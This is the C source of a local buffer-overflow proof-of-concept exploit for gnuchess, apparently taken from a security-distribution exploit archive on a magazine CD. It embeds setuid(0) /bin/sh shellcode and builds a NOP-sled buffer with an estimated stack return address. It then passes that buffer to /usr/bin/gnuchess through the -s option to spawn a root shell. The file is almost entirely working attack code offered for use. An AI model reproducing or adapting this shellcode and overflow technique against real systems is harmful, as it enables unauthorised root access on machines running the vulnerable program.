home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / gnuchess / ace.c < prev   
C/C++ Source or Header  |  2005-02-12  |  1KB  |  47 lines

  1. #include <stdio.h>
  2.  
  3. char stxcode[] =
  4.  
  5.     /* ace's shellcode [ ace2001sk8@hotmail.com ] (setuid=0,/bin/sh) */
  6.     "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
  7.     "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
  8.     "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
  9.     "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
  10.     "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
  11.     "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
  12.     "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
  13.  
  14.  
  15. unsigned long pen0r(void)
  16.  
  17. {
  18. __asm__("movl %esp, %eax");
  19. }
  20.  
  21. int main(int argc, char **argv) {
  22.  
  23. int pos; int ace = pen0r(); int stxnop = 0x90;
  24. int stxbytes = 648; int stxtotal = stxbytes + 4;
  25. char *stxbof;
  26. stxbof = (char *)malloc(stxbytes);
  27.  
  28. for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
  29. *(long *)&stxbof[stxbytes] = pen0r();
  30. memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
  31.  
  32. system("clear");
  33. printf("########################################\n");
  34. printf("# [ STX SECURITY LABS ] #\n");
  35. printf("# gnuchess local poc exploit by: ace #\n");
  36. printf("########################################\n\n");
  37. printf("[+] Return Address: 0x%x\n", ace);
  38. printf("[+] Buffer Size: %d\n", stxtotal);
  39. printf("[-] /usr/bin/gnuchess -s pwned!\n\n");
  40.  
  41. execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.